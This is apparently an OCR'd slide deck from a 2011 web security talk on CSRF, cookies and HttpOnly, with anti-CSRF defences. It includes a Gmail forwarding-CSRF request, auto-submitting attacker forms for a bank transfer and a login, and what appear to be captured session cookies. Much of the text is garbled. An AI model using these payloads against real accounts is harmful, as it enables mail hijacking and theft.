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Partial List of Celebs Targeted By Hackers
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How Did 50 Female Celebrities Get Hacked?

Loading..

leb Hackers = \RT: ON OFF

According to TMZ.com, the ring broke into the accounts of stars’ cell
phones and other computerized devices to obtain the compromising
photos and videos. Among the

Selena Gomez, Demi Lovato, Chri

the hacking of her Gmail account. The FBI declined A
requests for commeant; representatives for Hudgens did not immediately

respornd.
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Settings

Search Mai Search the We

General La Accounts and Import Filters Forwarding and POPIMAP  Chat Woek Clips

Forwarding:

POP Download:
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from other clients

1. Status: IMADP is enabled
LR AP
VAP
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- 2 Show search opktions
Search Mail Search the Web Erocto = e

Settings
General Labels Accounts and Import Filters Forwarding and POP/IMAP Chat Web Clips Labs Priority Inbox Offline Themes
EoiEadie [ Add a forwarding address |
Tip: You can
Add a forwarding address x
POP Download: 1. Status: P
| T more 5 .
St Elaliey Please enter a new forwarding email address:
Enable P
Disable H |
2. When me | Next | | Cancel |

3. Configure-yourenmam tweTn (8. OuluUr, CUU0TE, TIeTSCapE Tolam]
Configuration instructions

IMAP Access: 1. Status: IMAP is enabled
(access Gmail from ather clients @ Fnable IMAP

using IMAP) Disable IMAP

Learn more

2. Configure your email client (e.q. Outlook, Thunderbird, iPhone})
Configuration instructions

Save Changes | | Cancel |




GET /mai Jf?ur'z.?&-fw:rru e&fwa*—-anorheremah‘@emaif. com HTTP/1 4
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GET /mail/?ui=2&fw=true&fwe=anotheremail@email.com HTTP/1.1
Host: mail.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR
3.5.30729)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,"/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;q=0.7,*:q=0.7

Keep-Alive: 300

Connection: keep-alive

X-Same-Domain: 1

Content-Type: application/x-www-form-urlencoded;charset=utf-8

Content-Length: 0

Cookie: GX=DQAAAKYAAADN;|l6WfhINLs6aRnKL8ybuomdG_YpjuaSwrk-nsOpjE-6zP6qSRWD-TbGjB19m89iAUo-
AFySBe7MELie7I_S9IXAndB43wUE_PyCewaznuxblZB5zwywiDplIZvpruidknOAoTyleTcf_dQjxAykuQaxjE-
D30e7QfDjFHwW7JingoFTOtLbC2ONTQyCJTWQAFIU2dNgEJ6FXXOXsKgH-M1uwGPIiRxQIVJSyywauk-TA;
S=gmail=u2nDSaulmhA3dPvjNmaQKQ:gmproxy=h1XoWJpXiNzZWv7W60F 7iyg; GMAIL_AT=AF6bupM_MOV41-T4LWqgbZ-
yEwDkeHsoGAA; gmailchat=aenjoy@gmail.com/775532;
PREF=ID=4a9a2af599150608:U=52e256c5c935e065:FF=0:TM=1304046906:L.M=1305104208:GM=1:5=JoTmam0alWcxlamP;
NID=46=5jFdisuh-AP7-07DpwtfF0305Se20ztZdxLSJgkHsNVgWnUF4COxY3G-gPMcu5rfuktWoCFHVpDWeRSu-NbkFCPd-
espUyvdRs8964Ap/ZEZm-Z9gNVGwcbH4UI40Xb_Tg;
SID=DQAAALAAAACX6IXwBPJGhFRgINROFAESGEIUWIZY04eeKIENVIHJifyeROJhGYvovwQx64E7whk3bCK1Q41JRWZ7sulbelTiTtb
ZhFa2GIMN-
67C7dPeWYptclDI85759ugQdotfxSdrnfw3PjKzYPJRPUSGEI3bGuW4dNMBaePKwTta5gR27zBLIZXyzCps4V7H3IWIONNFJAUfrOm
4KVCTemo7CU5Xj20i)MSW-Eah4vH-4tRkw; HSID=A6YI6MIZVZzV1b4UC3; SSID=A-00DDJQCcKWYIVZzI6

Pragma: no-cache

Cache-Control: no-cache

@PREZIcn




What would happen if | send a email like this:




What would happen if | send a email like this:







Notice:

- Google has fixed their problem long time
ago.
- This is a fake attack and won't succeed,

please don't try to hack your bf/gf's gmail
account this way.
» Real attack is much more complex, what |

showed is just a PoC.
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Cross-Site Request Forgery

Vietim Broavser
=
,’a:';--‘z.-f”r
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GET fblog HTTR/L.1
www.attacker.com

ttps
method=PCST target=invisibleframe>
<input name=recipient val
<input nam=-amaount val
<fforms
=document. forms[0]. submit(}=/soript>

HTTF/1.1 200 0K

Transfer completa

waww.hank.com




Victim Browser

GET /blog HTTP/1.1

www.attacker.com www.bank.com

<form action=https://www.bank.com/transfer
method=POST target=invisibleframe>
<input name=recipient value=attacker>
<input name=amount value=5100>

</form>

«script>document.forms[0].submit()</script>

POST /transfer HTTP/1.1
Referer: hitp://www.attacker.com/blog

recipient=attacker&amount=5100

HTTP/1.1 200 OK

Transfer complete!

Ref: OWASP



Victim Browser

GET /blog HTTP/1.1

www.attacker.com www.google.com

<form action=https://www.google.com/login
method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>

<fform=

<script>document.forms[0].submit{)</script=>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog

username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: Session|D=2A1Fa34

GET fsearch?q=llamas HTTP/1.1
Cookie; Session|D=ZA1Fa34

Web History for attacker
Apr7,2008

9:20pm Searched for llamas

—



Solution of anti-CSRF

1. Secret Validation Token

<input type=hidden value=23a3af01b>
2. Referer Validation

3. Custom HTTP Header
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Secrect Token In Web Farm

1. Consider distributed cache.
2. HMAC of session id.
3. Page cookie set & form validation.
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facebook

i )| Facebook#ERMRSREMAKRAS=.

[ ] Geeksy EAmRET
[] 2F Geeksy pbms

irE
Geeksy FEATGIER

Facebook Message Virus Fix
B Geeksy F 2009811 H12H 8:50 ¥

If you've been infected by the recent storm of viruses on Facebook, in which your friend
urknowingly sends you a message with a doday link in it, follow these steps to protect
yourself:

1. Change vour Facebook passwiord

2. Search Google for "malwarebytes” and click on top link (.org) and download the free
Version.

3. Instal on your pe making sure that at the end of the installation you choose to update
malwarebytes and perform a scan.

4. Perform a "full scan”, this should fake an hour or so but is wel worth daing.

5. Change vour Facebook password again te something different

6. Run a malwarebytes "quick scan” in future whenever you suspect that you may have a
problem.

Hope this helps

il SF
&9 Jana Fabka Zamednikovd 242,




Facebook Users Attacked by
Trojan Virus

By admin
Posted on Nov. 7, 2008

Thanks for reading our Schipu’
Blog - feel free to subscribe to

our RSS feed and check our

fow we can help vou with your

Socral Media and onfine

marketing meeds/

Facebook and its users are
having a rough day. A serious
Facebook virus is attacking the
network's users.

For the laymen:

If you receive a Facebook
message (or a Facebook
message alert in your email)
with a gquestionable subject

line, DO NOT CLICK THE LINK IN THE BODY!

All of the infarmation in this post was garnered fram an awesome article from news com.au by
Marelle Towie.

Questionable subject titles vary fram *Maan yyou’'re great!” to *your ass looks not bad in this
videao®, “Somelne thinks vour special and has a *Hot_Crush*® on yvou. Find out who it could be®"
ar a youtube link that says i can see yooooooooao™. These links disguise a trojan worm and
should not be clicked.

4,

- . H 2 .
n\z p st months after Facebook said it was working to protect its user fram
P RO ZI.com 9top

Search

Latest Tweels

Loading tweets

http: / [twitter.com [ schipul

Latest Flickr Uploads

pelp!
tisfaction

Join our Customer Service Discussion

Browse our Subjects
| Select Category =l

Schipulite Blogs

DStagg - Dawid Stagg

Floyz - Eloy Zuniga Jr
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Design Cookie

= 0 O\k\e

x
p—
2




Design Cookie




Domain Match
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abc.com —> sub.abc.com

sub.abc.com —> .abc.com

b1.abc.com —> sub2.abc.com



%) Gmail - Inbox (372) - aenjoy@gmail.com - Me

File Edit View History

Bookmarks Tools

Help

& -c

'y, [q: Ilh_-] *‘ https: /fmail.google. com/mail [?shva=1Zinbox

[&] Most Visited ¥ Getting Started 5

Latest Headlines |

—

CUlLocal | ] CUTQA | ] CULINT

™ Acunetix Web Scanner (Free Edition) | » startScan = W AbortScan _';" Settings | ._":: Advanced ~ | Scanner status: Idke.
Gmail Calendar Documents Photos Reader Web  miore - aenjoy@gmail.com -
OED 1 8
Mail Technical Program Mgr - £ u i 165€ ads
et lechnicdl Frogram Wigr - « General Media Feeds Permissions  Security e T
on
Tasks =lol x| ——
Search: I google.com Clear | 11-24 am
Compose mail  information. K
The following cookies match your search: 1118 am
Inbox (372) Site | Caokie Mame | 12:32 am
Priority Inbox (10) |_] google.com GALX -]
Buzz @' |_1] google.com.hk PREF View Certificate | o
Starred %% __| google.com.hk NID May 9
Sent Mail |_] mail.google.com gmailchat Mav 9
Drafts (29) d mail google.com GMAIL_AT Mo Y
ﬂ mail.google.com ] May 6
[GmaillTrash B =i ccogle.com [fes el May 6
20090118 |_1] mail.google.com GMAIL_IMP | o View Saved Passwords May 5
51job Mame: GX
UncleJoey Content: DQAAAKLAAABbLZkyWHCESY 1320126 TWISKNZavdsT 1judL HK5Skgvwb3nends May 5
16 morew Domain: .mail.google. com May 4
Path: /mail -
Chat ~[= Send For: Encrypted connections only 128 128 bit) May 4
Expires: at end of session mitt=d over the Internet. Mav 3
Search. add. or invite view information traveling between computers. It ay
Remove Cookie Remove All Cookies Cloze | hveled across the network., May 2
@ Joey Yin Z
Trv now | Facebook : Apr 29
LInable to reach Gmail. r AAH iR — AL FE AL E . - A AT HIT BREess: om0, A A & s | Apr 29
Please check your internet :
Wilson .. me (T) FhERE A 4 A28 Esha =0k - #1282 53, EMAE T LEET T & ﬁ' Apr 28
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HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Set-Cookie:
GX=DQAAAHKAAADKiX4iKs5_vqdZwZVjppMjUvill3JcqQuaT48BOFkBNSM3UBxX
G7REHdKxeQXOYga9Z; Domain=mail.google.com; Path=/mail; Secure;
HttpOnly

Set-Cookie:
S=gmail=IMP9xJfjwHaWnFUfuz5_7w:gmproxy=h1XoWJpXiNzZWv7W60F7iyg;
Path=/mail; Secure

Set-Cookie: GMAIL_AT=AF6bupM_MOV41-T4LWgbZ-yEwDkeHsoGAA;
Path=/mail; Secure

P3P: CP="This is not a P3P policy! See
http://www.google.com/support/accounts/bin/answer.py?answer=151657 for
more info."

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Date: Wed, 11 May 2011 08:56:39 GMT

Location: https://mail.google.com/mail/?shva=1

Content-Length: 0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-X55-Protection: 1; mode=Dblock




HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Set-Cookie:
GX=DQAAAHKAAADKIX4iKs5_vqdZwZVjppMjUvill3JcgQuaT48BOFKBN8M3UBXx
G7REHdKxeQXOYga9Z; Domain=mail.google.com; Path=/mail; Secure;,
HttpOnly

Set-Cookie:
S=gmail=JMPIxJfiwHaWnFUfuz5_7w:gmproxy=h1XoWJpXiNzZWv7W60F7iyg;
Path=/mail; Secure

Set-Cookie: GMAIL_AT=AF6bupM_MOV41-T4LWqgbZ-yEwDkeHsoGAA,;
Path=/mail: Secure

P3P. CP="This is not a P3P policy! See
http.//www.google.com/support/accounts/bin/answer.py?answer=151657 for
more info."

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Date: Wed, 11 May 2011 08:56:39 GMT

Location: https://mail.google.com/mail/?shva=1

Content-Length: 0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=Dblock

Server: GSE

@Prezion
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Search: I ckers.org Clear |

The following cookies match your search:

Site | Cookie Mame |
| | ha.ckers.org blah2

§ ha.dkers.org

MName: blah

Content: protected
Host: ha.ckers.org
Path: |/
Send For: Any type of connection
Expires: at end of session

Refameanokie Remove All Cookies Close
@PREZ ! con 4




Cookies 3 =10 x|

Search: I ckers.org Clear |

The following cookies match your search:

Site Cookie Mame
,j ha.ckers.org blzh
Mame: blah2

Content: notprotected

Host: ha.ckers.org
Path: J

Send For: Any type of connection
Expires: atend of session

eiRamedeookic Remove All Cookies Close
@PREZIwn Y




GET /httponly.cgi HTTP/1.1
Host: ha.ckers.org

Keep-Alive: 300
Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Wed, 11 May 2011 11:42:33 GMT
Server: Apache

Set-Cookie: blah=protected; httpOnly
Set-Cookie: blah2=notprotected:;
Content-Length: 477

Content-Type: text/html; charset=ISO-8859-1




GET /httponly.cgi HTTP/1.1
Host: ha.ckers.org

Keep-Alive: 300
Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Wed, 11 May 2011 11:42:33 GMT
Server: Apache

Set-Cookie: blah=protected; httpOnly
Set-Cookie: blah2=notprotected;
Content-Lengtn: 4/7/

Content-Type: text/html; charset=ISO-8859-1




Browser
Microsoft Internet Explorer
Microsoft Internet Explorer
Microsoft Internet Explorer
Mozilla Firefox

Netscape Navigator

Opera
Opera
Safari
Google's Chrome

 6(sP1) |  Yes | 0 No

| 9.23 | S C—
95 | Yes | © No
3 | N | @ No
_Beta+ | Yes [  No
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The pain of BAC

Do you have an API like this in your code?

public MyObject getMyObjectByld(long id)
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BAC Problems in RIA

. Flex & AMF
. Ajax interface
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Contact me:

Nttp://weibo.com/joeyyin
Nttp://unclejoey.com
joey.yin@active.com
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Thanks:

. Baidu
. INnfoQ
. Kevin







